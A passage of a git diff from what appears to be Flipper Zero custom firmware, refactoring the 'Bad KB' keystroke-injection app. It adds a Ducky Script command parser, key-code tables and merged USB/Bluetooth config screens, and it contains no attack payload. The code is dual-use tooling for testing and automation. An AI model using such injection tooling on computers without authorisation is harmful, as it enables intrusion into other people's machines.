bad_kb_flags_get(WorkerEvtEnd, FuriWaitForever); // Waiting for exit command + if(flags & WorkerEvtEnd) { break; } @@ -935,6 +752,7 @@ static int32_t bad_kb_worker(void* context) { storage_file_free(script_file); furi_string_free(bad_kb->line); furi_string_free(bad_kb->line_prev); + furi_string_free(bad_kb->string_print); FURI_LOG_I(WORKER_TAG, "End"); diff --git a/applications/main/bad_kb/bad_kb_script.h b/applications/main/bad_kb/helpers/ducky_script.h similarity index 53% rename from applications/main/bad_kb/bad_kb_script.h rename to applications/main/bad_kb/helpers/ducky_script.h index a724971ec..6f5e03e0b 100644 --- a/applications/main/bad_kb/bad_kb_script.h +++ b/applications/main/bad_kb/helpers/ducky_script.h @@ -5,11 +5,24 @@ extern "C" { #endif #include +#include #include -typedef struct BadKbApp BadKbApp; +#define FILE_BUFFER_LEN 16 -typedef struct BadKbScript BadKbScript; +typedef enum { + LevelRssi122_100, + LevelRssi99_80, + LevelRssi79_60, + LevelRssi59_40, + LevelRssi39_0, + LevelRssiNum, + LevelRssiError = 0xFF, +} LevelRssiRange; + +extern const uint8_t bt_hid_delays[LevelRssiNum]; + +extern uint8_t bt_timeout; typedef enum { BadKbStateInit, @@ -18,6 +31,8 @@ typedef enum { BadKbStateWillRun, BadKbStateRunning, BadKbStateDelay, + BadKbStateStringDelay, + BadKbStateWaitForBtn, BadKbStateDone, BadKbStateScriptError, BadKbStateFileError, @@ -34,13 +49,32 @@ typedef struct { char error[64]; } BadKbState; -void bad_kb_config_switch_mode(BadKbApp* app); +typedef struct { + FuriHalUsbHidConfig hid_cfg; + FuriThread* thread; + BadKbState st; -void bad_kb_config_switch_remember_mode(BadKbApp* app); + FuriString* file_path; + FuriString* keyboard_layout; + uint8_t file_buf[FILE_BUFFER_LEN + 1]; + uint8_t buf_start; + uint8_t buf_len; + bool file_end; -int32_t bad_kb_connection_init(BadKbApp* app); + uint32_t defdelay; + uint32_t stringdelay; + uint16_t layout[128]; -void bad_kb_connection_deinit(BadKbApp* app); + FuriString* line; + FuriString* line_prev; + uint32_t repeat_cnt; + uint8_t key_hold_nb; + + FuriString* string_print; + size_t string_print_pos; + + Bt* bt; +} BadKbScript; BadKbScript* bad_kb_script_open(FuriString* file_path, Bt* bt); diff --git a/applications/main/bad_kb/helpers/ducky_script_commands.c b/applications/main/bad_kb/helpers/ducky_script_commands.c new file mode 100644 index 000000000..ef8da0b8a --- /dev/null +++ b/applications/main/bad_kb/helpers/ducky_script_commands.c @@ -0,0 +1,206 @@ +#include +#include +#include +#include "ducky_script.h" +#include "ducky_script_i.h" + +typedef int32_t (*DuckyCmdCallback)(BadKbScript* bad_kb, const char* line, int32_t param); + +typedef struct { + char* name; + DuckyCmdCallback callback; + int32_t param; +} DuckyCmd; + +static int32_t ducky_fnc_delay(BadKbScript* bad_kb, const char* line, int32_t param) { + UNUSED(param); + + line = &line[ducky_get_command_len(line) + 1]; + uint32_t delay_val = 0; + bool state = ducky_get_number(line, &delay_val); + if((state) && (delay_val > 0)) { + return (int32_t)delay_val; + } + + return ducky_error(bad_kb, "Invalid number %s", line); +} + +static int32_t ducky_fnc_defdelay(BadKbScript* bad_kb, const char* line, int32_t param) { + UNUSED(param); + + line = &line[ducky_get_command_len(line) + 1]; + bool state = ducky_get_number(line, &bad_kb->defdelay); + if(!state) { + return ducky_error(bad_kb, "Invalid number %s", line); + } + return 0; +} + +static int32_t ducky_fnc_strdelay(BadKbScript* bad_kb, const char* line, int32_t param) { + UNUSED(param); + + line = &line[ducky_get_command_len(line) + 1]; + bool state = ducky_get_number(line, &bad_kb->stringdelay); + if(!state) { + return ducky_error(bad_kb, "Invalid number %s", line); + } + return 0; +} + +static int32_t ducky_fnc_string(BadKbScript* bad_kb, const char* line, int32_t param) { + line = &line[ducky_get_command_len(line) + 1]; + furi_string_set_str(bad_kb->string_print, line); + if(param == 1) { + furi_string_cat(bad_kb->string_print, "\n"); + } + + if(bad_kb->stringdelay == 0) { // stringdelay not set - run command immidiately + bool state = ducky_string(bad_kb, furi_string_get_cstr(bad_kb->string_print)); + if(!state) { + return ducky_error(bad_kb, "Invalid string %s", line); + } + } else { // stringdelay is set - run command in thread to keep handling external events + return SCRIPT_STATE_STRING_START; + } + + return 0; +} + +static int32_t ducky_fnc_repeat(BadKbScript* bad_kb, const char* line, int32_t param) { + UNUSED(param); + + line = &line[ducky_get_command_len(line) + 1]; + bool state = ducky_get_number(line, &bad_kb->repeat_cnt); + if((!state) || (bad_kb->repeat_cnt == 0)) { + return ducky_error(bad_kb, "Invalid number %s", line); + } + return 0; +} + +static int32_t ducky_fnc_sysrq(BadKbScript* bad_kb, const char* line, int32_t param) { + UNUSED(param); + + line = &line[ducky_get_command_len(line) + 1]; + uint16_t key = ducky_get_keycode(bad_kb, line, true); + if(bad_kb->bt) { + furi_hal_bt_hid_kb_press(KEY_MOD_LEFT_ALT | HID_KEYBOARD_PRINT_SCREEN); + furi_hal_bt_hid_kb_press(key); + furi_delay_ms(bt_timeout); + furi_hal_bt_hid_kb_release(key); + furi_hal_bt_hid_kb_release(KEY_MOD_LEFT_ALT | HID_KEYBOARD_PRINT_SCREEN); + } else { + furi_hal_hid_kb_press(KEY_MOD_LEFT_ALT | HID_KEYBOARD_PRINT_SCREEN); + furi_hal_hid_kb_press(key); + furi_hal_hid_kb_release_all(); + } + return 0; +} + +static int32_t ducky_fnc_altchar(BadKbScript* bad_kb, const char* line, int32_t param) { + UNUSED(param); + + line = &line[ducky_get_command_len(line) + 1]; + ducky_numlock_on(bad_kb); + bool state = ducky_altchar(bad_kb, line); + if(!state) { + return ducky_error(bad_kb, "Invalid altchar %s", line); + } + return 0; +} + +static int32_t ducky_fnc_altstring(BadKbScript* bad_kb, const char* line, int32_t param) { + UNUSED(param); + + line = &line[ducky_get_command_len(line) + 1]; + ducky_numlock_on(bad_kb); + bool state = ducky_altstring(bad_kb, line); + if(!state) { + return ducky_error(bad_kb, "Invalid altstring %s", line); + } + return 0; +} + +static int32_t ducky_fnc_hold(BadKbScript* bad_kb, const char* line, int32_t param) { + UNUSED(param); + + line = &line[ducky_get_command_len(line) + 1]; + uint16_t key = ducky_get_keycode(bad_kb, line, true); + if(key == HID_KEYBOARD_NONE) { + return ducky_error(bad_kb, "No keycode defined for %s", line); + } + bad_kb->key_hold_nb++; + if(bad_kb->key_hold_nb > (HID_KB_MAX_KEYS - 1)) { + return ducky_error(bad_kb, "Too many keys are hold"); + } + if(bad_kb->bt) { + furi_hal_bt_hid_kb_press(key); + } else { + furi_hal_hid_kb_press(key); + } + return 0; +} + +static int32_t ducky_fnc_release(BadKbScript* bad_kb, const char* line, int32_t param) { + UNUSED(param); + + line = &line[ducky_get_command_len(line) + 1]; + uint16_t key = ducky_get_keycode(bad_kb, line, true); + if(key == HID_KEYBOARD_NONE) { + return ducky_error(bad_kb, "No keycode defined for %s", line); + } + if(bad_kb->key_hold_nb == 0) { + return ducky_error(bad_kb, "No keys are hold"); + } + bad_kb->key_hold_nb--; + if(bad_kb->bt) { + furi_hal_bt_hid_kb_release(key); + } else { + furi_hal_hid_kb_release(key); + } + return 0; +} + +static int32_t ducky_fnc_waitforbutton(BadKbScript* bad_kb, const char* line, int32_t param) { + UNUSED(param); + UNUSED(bad_kb); + UNUSED(line); + + return SCRIPT_STATE_WAIT_FOR_BTN; +} + +static const DuckyCmd ducky_commands[] = { + {"REM ", NULL, -1}, + {"ID ", NULL, -1}, + {"DELAY ", ducky_fnc_delay, -1}, + {"STRING ", ducky_fnc_string, 0}, + {"STRINGLN ", ducky_fnc_string, 1}, + {"DEFAULT_DELAY ", ducky_fnc_defdelay, -1}, + {"DEFAULTDELAY ", ducky_fnc_defdelay, -1}, + {"STRINGDELAY ", ducky_fnc_strdelay, -1}, + {"STRING_DELAY ", ducky_fnc_strdelay, -1}, + {"REPEAT ", ducky_fnc_repeat, -1}, + {"SYSRQ ", ducky_fnc_sysrq, -1}, + {"ALTCHAR ", ducky_fnc_altchar, -1}, + {"ALTSTRING ", ducky_fnc_altstring, -1}, + {"ALTCODE ", ducky_fnc_altstring, -1}, + {"HOLD ", ducky_fnc_hold, -1}, + {"RELEASE ", ducky_fnc_release, -1}, + {"WAIT_FOR_BUTTON_PRESS", ducky_fnc_waitforbutton, -1}, +}; + +#define TAG "BadKB" +#define WORKER_TAG TAG "Worker" + +int32_t ducky_execute_cmd(BadKbScript* bad_kb, const char* line) { + for(size_t i = 0; i < COUNT_OF(ducky_commands); i++) { + if(strncmp(line, ducky_commands[i].name, strlen(ducky_commands[i].name)) == 0) { + if(ducky_commands[i].callback == NULL) { + return 0; + } else { + return ((ducky_commands[i].callback)(bad_kb, line, ducky_commands[i].param)); + } + } + } + + return SCRIPT_STATE_CMD_UNKNOWN; +} diff --git a/applications/main/bad_kb/helpers/ducky_script_i.h b/applications/main/bad_kb/helpers/ducky_script_i.h new file mode 100644 index 000000000..646355c9c --- /dev/null +++ b/applications/main/bad_kb/helpers/ducky_script_i.h @@ -0,0 +1,44 @@ +#pragma once + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include +#include "ducky_script.h" + +#define SCRIPT_STATE_ERROR (-1) +#define SCRIPT_STATE_END (-2) +#define SCRIPT_STATE_NEXT_LINE (-3) +#define SCRIPT_STATE_CMD_UNKNOWN (-4) +#define SCRIPT_STATE_STRING_START (-5) +#define SCRIPT_STATE_WAIT_FOR_BTN (-6) + +uint16_t ducky_get_keycode(BadKbScript* bad_kb, const char* param, bool accept_chars); + +uint32_t ducky_get_command_len(const char* line); + +bool ducky_is_line_end(const char chr); + +uint16_t ducky_get_keycode_by_name(const char* param); + +bool ducky_get_number(const char* param, uint32_t* val); + +void ducky_numlock_on(BadKbScript* bad_kb); + +bool ducky_numpad_press(BadKbScript* bad_kb, const char num); + +bool ducky_altchar(BadKbScript* bad_kb, const char* charcode); + +bool ducky_altstring(BadKbScript* bad_kb, const char* param); + +bool ducky_string(BadKbScript* bad_kb, const char* param); + +int32_t ducky_execute_cmd(BadKbScript* bad_kb, const char* line); + +int32_t ducky_error(BadKbScript* bad_kb, const char* text, ...); + +#ifdef __cplusplus +} +#endif diff --git a/applications/main/bad_kb/helpers/ducky_script_keycodes.c b/applications/main/bad_kb/helpers/ducky_script_keycodes.c new file mode 100644 index 000000000..da2fc22f7 --- /dev/null +++ b/applications/main/bad_kb/helpers/ducky_script_keycodes.c @@ -0,0 +1,79 @@ +#include +#include +#include "ducky_script_i.h" + +typedef struct { + char* name; + uint16_t keycode; +} DuckyKey; + +static const DuckyKey ducky_keys[] = { + {"CTRL-ALT", KEY_MOD_LEFT_CTRL | KEY_MOD_LEFT_ALT}, + {"CTRL-SHIFT", KEY_MOD_LEFT_CTRL | KEY_MOD_LEFT_SHIFT}, + {"ALT-SHIFT", KEY_MOD_LEFT_ALT | KEY_MOD_LEFT_SHIFT}, + {"ALT-GUI", KEY_MOD_LEFT_ALT | KEY_MOD_LEFT_GUI}, + {"GUI-SHIFT", KEY_MOD_LEFT_GUI | KEY_MOD_LEFT_SHIFT}, + {"GUI-CTRL", KEY_MOD_LEFT_GUI | KEY_MOD_LEFT_CTRL}, + + {"CTRL", KEY_MOD_LEFT_CTRL}, + {"CONTROL", KEY_MOD_LEFT_CTRL}, + {"SHIFT", KEY_MOD_LEFT_SHIFT}, + {"ALT", KEY_MOD_LEFT_ALT}, + {"GUI", KEY_MOD_LEFT_GUI}, + {"WINDOWS", KEY_MOD_LEFT_GUI}, + + {"DOWNARROW", HID_KEYBOARD_DOWN_ARROW}, + {"DOWN", HID_KEYBOARD_DOWN_ARROW}, + {"LEFTARROW", HID_KEYBOARD_LEFT_ARROW}, + {"LEFT", HID_KEYBOARD_LEFT_ARROW}, + {"RIGHTARROW", HID_KEYBOARD_RIGHT_ARROW}, + {"RIGHT", HID_KEYBOARD_RIGHT_ARROW}, + {"UPARROW", HID_KEYBOARD_UP_ARROW}, + {"UP", HID_KEYBOARD_UP_ARROW}, + + {"ENTER", HID_KEYBOARD_RETURN}, + {"BREAK", HID_KEYBOARD_PAUSE}, + {"PAUSE", HID_KEYBOARD_PAUSE}, + {"CAPSLOCK", HID_KEYBOARD_CAPS_LOCK}, + {"DELETE", HID_KEYBOARD_DELETE_FORWARD}, + {"BACKSPACE", HID_KEYBOARD_DELETE}, + {"END", HID_KEYBOARD_END}, + {"ESC", HID_KEYBOARD_ESCAPE}, + {"ESCAPE", HID_KEYBOARD_ESCAPE}, + {"HOME", HID_KEYBOARD_HOME}, + {"INSERT", HID_KEYBOARD_INSERT}, + {"NUMLOCK", HID_KEYPAD_NUMLOCK}, + {"PAGEUP", HID_KEYBOARD_PAGE_UP}, + {"PAGEDOWN", HID_KEYBOARD_PAGE_DOWN}, + {"PRINTSCREEN", HID_KEYBOARD_PRINT_SCREEN}, + {"SCROLLLOCK", HID_KEYBOARD_SCROLL_LOCK}, + {"SPACE", HID_KEYBOARD_SPACEBAR}, + {"TAB", HID_KEYBOARD_TAB}, + {"MENU", HID_KEYBOARD_APPLICATION}, + {"APP", HID_KEYBOARD_APPLICATION}, + + {"F1", HID_KEYBOARD_F1}, + {"F2", HID_KEYBOARD_F2}, + {"F3", HID_KEYBOARD_F3}, + {"F4", HID_KEYBOARD_F4}, + {"F5", HID_KEYBOARD_F5}, + {"F6", HID_KEYBOARD_F6}, + {"F7", HID_KEYBOARD_F7}, + {"F8", HID_KEYBOARD_F8}, + {"F9", HID_KEYBOARD_F9}, + {"F10", HID_KEYBOARD_F10}, + {"F11", HID_KEYBOARD_F11}, + {"F12", HID_KEYBOARD_F12}, +}; + +uint16_t ducky_get_keycode_by_name(const char* param) { + for(size_t i = 0; i < COUNT_OF(ducky_keys); i++) { + size_t key_cmd_len = strlen(ducky_keys[i].name); + if((strncmp(param, ducky_keys[i].name, key_cmd_len) == 0) && + (ducky_is_line_end(param[key_cmd_len]))) { + return ducky_keys[i].keycode; + } + } + + return HID_KEYBOARD_NONE; +} diff --git a/applications/main/bad_kb/scenes/bad_kb_scene_config_bt.c b/applications/main/bad_kb/scenes/bad_kb_scene_config.c similarity index 56% rename from applications/main/bad_kb/scenes/bad_kb_scene_config_bt.c rename to applications/main/bad_kb/scenes/bad_kb_scene_config.c index 70dde9e16..efdbf1ce4 100644 --- a/applications/main/bad_kb/scenes/bad_kb_scene_config_bt.c +++ b/applications/main/bad_kb/scenes/bad_kb_scene_config.c @@ -1,17 +1,17 @@ -#include "../bad_kb_app_i.h" +#include "../bad_kb_app.h" #include "furi_hal_power.h" #include "furi_hal_usb.h" #include enum VarItemListIndex { - VarItemListIndexConnection, - VarItemListIndexRemember, VarItemListIndexKeyboardLayout, - VarItemListIndexAdvertisementName, - VarItemListIndexMacAddress, + VarItemListIndexConnection, + VarItemListIndexBtRemember, + VarItemListIndexBtDeviceName, + VarItemListIndexBtMacAddress, }; -void bad_kb_scene_config_bt_connection_callback(VariableItem* item) { +void bad_kb_scene_config_connection_callback(VariableItem* item) { BadKbApp* bad_kb = variable_item_get_context(item); bad_kb->is_bt = variable_item_get_current_value_index(item); XTREME_SETTINGS()->bad_bt = bad_kb->is_bt; @@ -20,78 +20,93 @@ void bad_kb_scene_config_bt_connection_callback(VariableItem* item) { view_dispatcher_send_custom_event(bad_kb->view_dispatcher, VarItemListIndexConnection); } -void bad_kb_scene_config_bt_bounding_callback(VariableItem* item) { +void bad_kb_scene_config_bt_remember_callback(VariableItem* item) { BadKbApp* bad_kb = variable_item_get_context(item); bad_kb->bt_remember = variable_item_get_current_value_index(item); XTREME_SETTINGS()->bad_bt_remember = bad_kb->bt_remember; XTREME_SETTINGS_SAVE(); variable_item_set_current_value_text(item, bad_kb->bt_remember ? "ON" : "OFF"); - view_dispatcher_send_custom_event(bad_kb->view_dispatcher, VarItemListIndexRemember); + view_dispatcher_send_custom_event(bad_kb->view_dispatcher, VarItemListIndexBtRemember); } -void bad_kb_scene_config_bt_var_item_list_callback(void* context, uint32_t index) { +void bad_kb_scene_config_var_item_list_callback(void* context, uint32_t index) { BadKbApp* bad_kb = context; view_dispatcher_send_custom_event(bad_kb->view_dispatcher, index); } -void bad_kb_scene_config_bt_on_enter(void* context) { +void bad_kb_scene_config_on_enter(void* context) { BadKbApp* bad_kb = context; - VariableItemList* var_item_list = bad_kb->var_item_list_bt; + VariableItemList* var_item_list = bad_kb->var_item_list; VariableItem* item; + item = variable_item_list_add(var_item_list, "Keyboard layout", 0, NULL, bad_kb); + item = variable_item_list_add( - var_item_list, "Connection", 2, bad_kb_scene_config_bt_connection_callback, bad_kb); + var_item_list, "Connection", 2, bad_kb_scene_config_connection_callback, bad_kb); variable_item_set_current_value_index(item, bad_kb->is_bt); variable_item_set_current_value_text(item, bad_kb->is_bt ? "BT" : "USB"); item = variable_item_list_add( - var_item_list, "Remember", 2, bad_kb_scene_config_bt_bounding_callback, bad_kb); + var_item_list, "BT Remember", 2, bad_kb_scene_config_bt_remember_callback, bad_kb); variable_item_set_current_value_index(item, bad_kb->bt_remember); variable_item_set_current_value_text(item, bad_kb->bt_remember ? "ON" : "OFF"); - - item = variable_item_list_add(var_item_list, "Keyboard layout", 0, NULL, bad_kb); + variable_item_set_locked(item, !bad_kb->is_bt, "Only in\nBT mode!"); item = variable_item_list_add(var_item_list, "BT device name", 0, NULL, bad_kb); + variable_item_set_locked(item, !bad_kb->is_bt, "Only in\nBT mode!"); - // this doesn't update instantly when toggling between Bounding modes - if(!bad_kb->bt_remember) { - item = variable_item_list_add(var_item_list, "BT MAC address", 0, NULL, bad_kb); + item = variable_item_list_add(var_item_list, "BT MAC address", 0, NULL, bad_kb); + if(!bad_kb->is_bt) { + variable_item_set_locked(item, true, "Only in\nBT mode!"); + } else if(bad_kb->bt_remember) { + variable_item_set_locked(item, true, "Remember\nmust be Off!"); } variable_item_list_set_enter_callback( - var_item_list, bad_kb_scene_config_bt_var_item_list_callback, bad_kb); + var_item_list, bad_kb_scene_config_var_item_list_callback, bad_kb); - view_dispatcher_switch_to_view(bad_kb->view_dispatcher, BadKbAppViewConfigBt); + variable_item_list_set_selected_item( + var_item_list, scene_manager_get_scene_state(bad_kb->scene_manager, BadKbSceneConfig)); + + view_dispatcher_switch_to_view(bad_kb->view_dispatcher, BadKbAppViewConfig); } -bool bad_kb_scene_config_bt_on_event(void* context, SceneManagerEvent event) { +bool bad_kb_scene_config_on_event(void* context, SceneManagerEvent event) { BadKbApp* bad_kb = context; bool consumed = false; if(event.type == SceneManagerEventTypeCustom) { - scene_manager_set_scene_state(bad_kb->scene_manager, BadKbSceneConfigBt, event.event); + scene_manager_set_scene_state(bad_kb->scene_manager, BadKbSceneConfig, event.event); consumed = true; - if(event.event == VarItemListIndexKeyboardLayout) { + switch(event.event) { + case VarItemListIndexKeyboardLayout: scene_manager_next_scene(bad_kb->scene_manager, BadKbSceneConfigLayout); - } else if(event.event == VarItemListIndexConnection) { + break; + case VarItemListIndexConnection: bad_kb_config_switch_mode(bad_kb); - } else if(event.event == VarItemListIndexRemember) { + break; + case VarItemListIndexBtRemember: bad_kb_config_switch_remember_mode(bad_kb); scene_manager_previous_scene(bad_kb->scene_manager); - scene_manager_next_scene(bad_kb->scene_manager, BadKbSceneConfigBt); - } else if(event.event == VarItemListIndexAdvertisementName) { + scene_manager_next_scene(bad_kb->scene_manager, BadKbSceneConfig); + break; + case VarItemListIndexBtDeviceName: scene_manager_next_scene(bad_kb->scene_manager, BadKbSceneConfigName); - } else if(event.event == VarItemListIndexMacAddress) { + break; + case VarItemListIndexBtMacAddress: scene_manager_next_scene(bad_kb->scene_manager, BadKbSceneConfigMac); + break; + default: + break; } } return consumed; } -void bad_kb_scene_config_bt_on_exit(void* context) { +void bad_kb_scene_config_on_exit(void* context) { BadKbApp* bad_kb = context; - VariableItemList* var_item_list = bad_kb->var_item_list_bt; + VariableItemList* var_item_list = bad_kb->var_item_list; variable_item_list_reset(var_item_list); } diff --git a/applications/main/bad_kb/scenes/bad_kb_scene_config.h b/applications/main/bad_kb/scenes/bad_kb_scene_config.h index 794468eba..ac445c673 100644 --- a/applications/main/bad_kb/scenes/bad_kb_scene_config.h +++ b/applications/main/bad_kb/scenes/bad_kb_scene_config.h @@ -1,8 +1,7 @@ ADD_SCENE(bad_kb, file_select, FileSelect) ADD_SCENE(bad_kb, work, Work) ADD_SCENE(bad_kb, error, Error) -ADD_SCENE(bad_kb, config_bt, ConfigBt) -ADD_SCENE(bad_kb, config_usb, ConfigUsb) +ADD_SCENE(bad_kb, config, Config) ADD_SCENE(bad_kb, config_layout, ConfigLayout) ADD_SCENE(bad_kb, config_name, ConfigName) ADD_SCENE(bad_kb, config_mac, ConfigMac) diff --git a/applications/main/bad_kb/scenes/bad_kb_scene_config_layout.c b/applications/main/bad_kb/scenes/bad_kb_scene_config_layout.c index a73822fcc..17477b2c2 100644 --- a/applications/main/bad_kb/scenes/bad_kb_scene_config_layout.c +++ b/applications/main/bad_kb/scenes/bad_kb_scene_config_layout.c @@ -1,4 +1,4 @@ -#include "../bad_kb_app_i.h" +#include "../bad_kb_app.h" #include "furi_hal_power.h" #include "furi_hal_usb.h" #include diff --git a/applications/main/bad_kb/scenes/bad_kb_scene_config_mac.c b/applications/main/bad_kb/scenes/bad_kb_scene_config_mac.c index d7027537a..c44935fb1 100644 --- a/applications/main/bad_kb/scenes/bad_kb_scene_config_mac.c +++ b/applications/main/bad_kb/scenes/bad_kb_scene_config_mac.c @@ -1,4 +1,4 @@ -#include "../bad_kb_app_i.h" +#include "../bad_kb_app.h" #define TAG "BadKbConfigMac" diff --git a/applications/main/bad_kb/scenes/bad_kb_scene_config_name.c b/applications/main/bad_kb/scenes/bad_kb_scene_config_name.c index 59574c334..108dd9689 100644 --- a/applications/main/bad_kb/scenes/bad_kb_scene_config_name.c +++ b/applications/main/bad_kb/scenes/bad_kb_scene_config_name.c @@ -1,4 +1,4 @@ -#include "../bad_kb_app_i.h" +#include "../bad_kb_app.h" static void bad_kb_scene_config_name_text_input_callback(void* context) { BadKbApp* bad_kb = context; diff --git a/applications/main/bad_kb/scenes/bad_kb_scene_config_usb.c b/applications/main/bad_kb/scenes/bad_kb_scene_config_usb.c deleted file mode 100644 index d3ff35fc8..000000000 --- a/applications/main/bad_kb/scenes/bad_kb_scene_config_usb.c +++ /dev/null @@ -1,65 +0,0 @@ -#include "../bad_kb_app_i.h" -#include "furi_hal_power.h" -#include "furi_hal_usb.h" -#include - -enum VarItemListIndex { - VarItemListIndexConnection, - VarItemListIndexKeyboardLayout, -}; - -void bad_kb_scene_config_usb_connection_callback(VariableItem* item) { - BadKbApp* bad_kb = variable_item_get_context(item); - bad_kb->is_bt = variable_item_get_current_value_index(item); - XTREME_SETTINGS()->bad_bt = bad_kb->is_bt; - XTREME_SETTINGS_SAVE(); - variable_item_set_current_value_text(item, bad_kb->is_bt ? "BT" : "USB"); - view_dispatcher_send_custom_event(bad_kb->view_dispatcher, VarItemListIndexConnection); -} - -void bad_kb_scene_config_usb_var_item_list_callback(void* context, uint32_t index) { - BadKbApp* bad_kb = context; - view_dispatcher_send_custom_event(bad_kb->view_dispatcher, index); -} - -void bad_kb_scene_config_usb_on_enter(void* context) { - BadKbApp* bad_kb = context; - VariableItemList* var_item_list = bad_kb->var_item_list_usb; - VariableItem* item; - - item = variable_item_list_add( - var_item_list, "Connection", 2, bad_kb_scene_config_usb_connection_callback, bad_kb); - variable_item_set_current_value_index(item, bad_kb->is_bt); - variable_item_set_current_value_text(item, bad_kb->is_bt ? "BT" : "USB"); - - item = variable_item_list_add(var_item_list, "Keyboard layout", 0, NULL, bad_kb); - - variable_item_list_set_enter_callback( - var_item_list, bad_kb_scene_config_usb_var_item_list_callback, bad_kb); - - view_dispatcher_switch_to_view(bad_kb->view_dispatcher, BadKbAppViewConfigUsb); -} - -bool bad_kb_scene_config_usb_on_event(void* context, SceneManagerEvent event) { - BadKbApp* bad_kb = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - scene_manager_set_scene_state(bad_kb->scene_manager, BadKbSceneConfigUsb, event.event); - consumed = true; - if(event.event == VarItemListIndexKeyboardLayout) { - scene_manager_next_scene(bad_kb->scene_manager, BadKbSceneConfigLayout); - } else if(event.event == VarItemListIndexConnection) { - bad_kb_config_switch_mode(bad_kb); - } - } - - return consumed; -} - -void bad_kb_scene_config_usb_on_exit(void* context) { - BadKbApp* bad_kb = context; - VariableItemList* var_item_list = bad_kb->var_item_list_usb; - - variable_item_list_reset(var_item_list); -} diff --git a/applications/main/bad_kb/scenes/bad_kb_scene_error.c b/applications/main/bad_kb/scenes/bad_kb_scene_error.c index bfec05652..f9bdc46d4 100644 --- a/applications/main/bad_kb/scenes/bad_kb_scene_error.c +++ b/applications/main/bad_kb/scenes/bad_kb_scene_error.c @@ -1,4 +1,4 @@ -#include "../bad_kb_app_i.h" +#include "../bad_kb_app.h" #include "xtreme/assets.h" static void diff --git a/applications/main/bad_kb/scenes/bad_kb_scene_file_select.c b/applications/main/bad_kb/scenes/bad_kb_scene_file_select.c index ba238f390..d14624447 100644 --- a/applications/main/bad_kb/scenes/bad_kb_scene_file_select.c +++ b/applications/main/bad_kb/scenes/bad_kb_scene_file_select.c @@ -1,4 +1,4 @@ -#include "../bad_kb_app_i.h" +#include "../bad_kb_app.h" #include #include #include diff --git a/applications/main/bad_kb/scenes/bad_kb_scene_work.c b/applications/main/bad_kb/scenes/bad_kb_scene_work.c index e962f9132..196a294ae 100644 --- a/applications/main/bad_kb/scenes/bad_kb_scene_work.c +++ b/applications/main/bad_kb/scenes/bad_kb_scene_work.c @@ -1,5 +1,5 @@ -#include "../bad_kb_script.h" -#include "../bad_kb_app_i.h" +#include "../helpers/ducky_script.h" +#include "../bad_kb_app.h" #include "../views/bad_kb_view.h" #include #include "toolbox/path.h" @@ -17,11 +17,7 @@ bool bad_kb_scene_work_on_event(void* context, SceneManagerEvent event) { if(event.type == SceneManagerEventTypeCustom) { if(event.event == InputKeyLeft) { if(bad_kb_is_idle_state(app->bad_kb_view)) { - if(app->is_bt) { - scene_manager_next_scene(app->scene_manager, BadKbSceneConfigBt); - } else { - scene_manager_next_scene(app->scene_manager, BadKbSceneConfigUsb); - } + scene_manager_next_scene(app->scene_manager, BadKbSceneConfig); } consumed = true; } else if(event.event == InputKeyOk) { diff --git a/applications/main/bad_kb/views/bad_kb_view.c b/applications/main/bad_kb/views/bad_kb_view.c index 26ec90809..4cba891f1 100644 --- a/applications/main/bad_kb/views/bad_kb_view.c +++ b/applications/main/bad_kb/views/bad_kb_view.c @@ -1,6 +1,6 @@ #include "bad_kb_view.h" -#include "../bad_kb_script.h" -#include "../bad_kb_app_i.h" +#include "../helpers/ducky_script.h" +#include "../bad_kb_app.h" #include #include #include @@ -61,6 +61,8 @@ static void bad_kb_draw_callback(Canvas* canvas, void* _model) { elements_button_left(canvas, "Config"); } else if((model->state.state == BadKbStateRunning) || (model->state.state == BadKbStateDelay)) { elements_button_center(canvas, "Stop"); + } else if(model->state.state == BadKbStateWaitForBtn) { + elements_button_center(canvas, "Press to continue"); } else if(model->state.state == BadKbStateWillRun) { elements_button_center(canvas, "Cancel"); } @@ -98,7 +100,11 @@ static void bad_kb_draw_callback(Canvas* canvas, void* _model) { canvas_draw_str_aligned( canvas, 127, 46, AlignRight, AlignBottom, furi_string_get_cstr(disp_str)); furi_string_reset(disp_str); - canvas_draw_str_aligned(canvas, 127, 56, AlignRight, AlignBottom, model->state.error); + furi_string_set_str(disp_str, model->state.error); + elements_string_fit_width(canvas, disp_str, canvas_width(canvas)); + canvas_draw_str_aligned( + canvas, 127, 56, AlignRight, AlignBottom, furi_string_get_cstr(disp_str)); + furi_string_reset(disp_str); } else if(model->state.state == BadKbStateIdle) { canvas_draw_icon(canvas, 4, 26, &I_Smile_18x18); canvas_set_font(canvas, FontBigNumbers); diff --git a/applications/main/bad_kb/views/bad_kb_view.h b/applications/main/bad_kb/views/bad_kb_view.h index f16814bb4..d8f2559bb 100644 --- a/applications/main/bad_kb/views/bad_kb_view.h +++ b/applications/main/bad_kb/views/bad_kb_view.h @@ -1,7 +1,7 @@ #pragma once #include -#include "../bad_kb_script.h" +#include "../helpers/ducky_script.h" typedef struct BadKb BadKb; typedef void (*BadKbButtonCallback)(InputKey key, void* context); diff --git a/applications/main/fap_loader/application.fam b/applications/main/fap_loader/application.fam index f83f58e68..827f3d8ec 100644 --- a/applications/main/fap_loader/application.fam +++ b/applications/main/fap_loader/application.fam @@ -1,14 +1,18 @@ App( appid="fap_loader", - name="Applications", + name="Apps", apptype=FlipperAppType.APP, entry_point="fap_loader_app", cdefines=["APP_FAP_LOADER"], requires=[ "gui", "storage", + "loader", ], stack_size=int(1.5 * 1024), icon="A_Plugins_14", order=9, + sdk_headers=[ + "fap_loader_app.h", + ], ) diff --git a/applications/main/fap_loader/elf_cpp/elf_hashtable.cpp b/applications/main/fap_loader/elf_cpp/elf_hashtable.cpp deleted file mode 100644 index e845ed008..000000000 --- a/applications/main/fap_loader/elf_cpp/elf_hashtable.cpp +++ /dev/null @@ -1,48 +0,0 @@ -#include "compilesort.hpp" -#include "elf_hashtable.h" -#include "elf_hashtable_entry.h" -#include "elf_hashtable_checks.hpp" - -#include -#include - -/* Generated table */ -#include - -#define TAG "elf_hashtable" - -static_assert(!has_hash_collisions(elf_api_table), "Detected API method hash collision!"); - -/** - * Get function address by function name - * @param name function name - * @param address output for function address - * @return true if the table contains a function - */ - -bool elf_resolve_from_hashtable(const char* name, Elf32_Addr* address) { - bool result = false; - uint32_t gnu_sym_hash = elf_gnu_hash(name); - - sym_entry key = { - .hash = gnu_sym_hash, - .address = 0, - }; - - auto find_res = std::lower_bound(elf_api_table.cbegin(), elf_api_table.cend(), key); - if((find_res == elf_api_table.cend() || 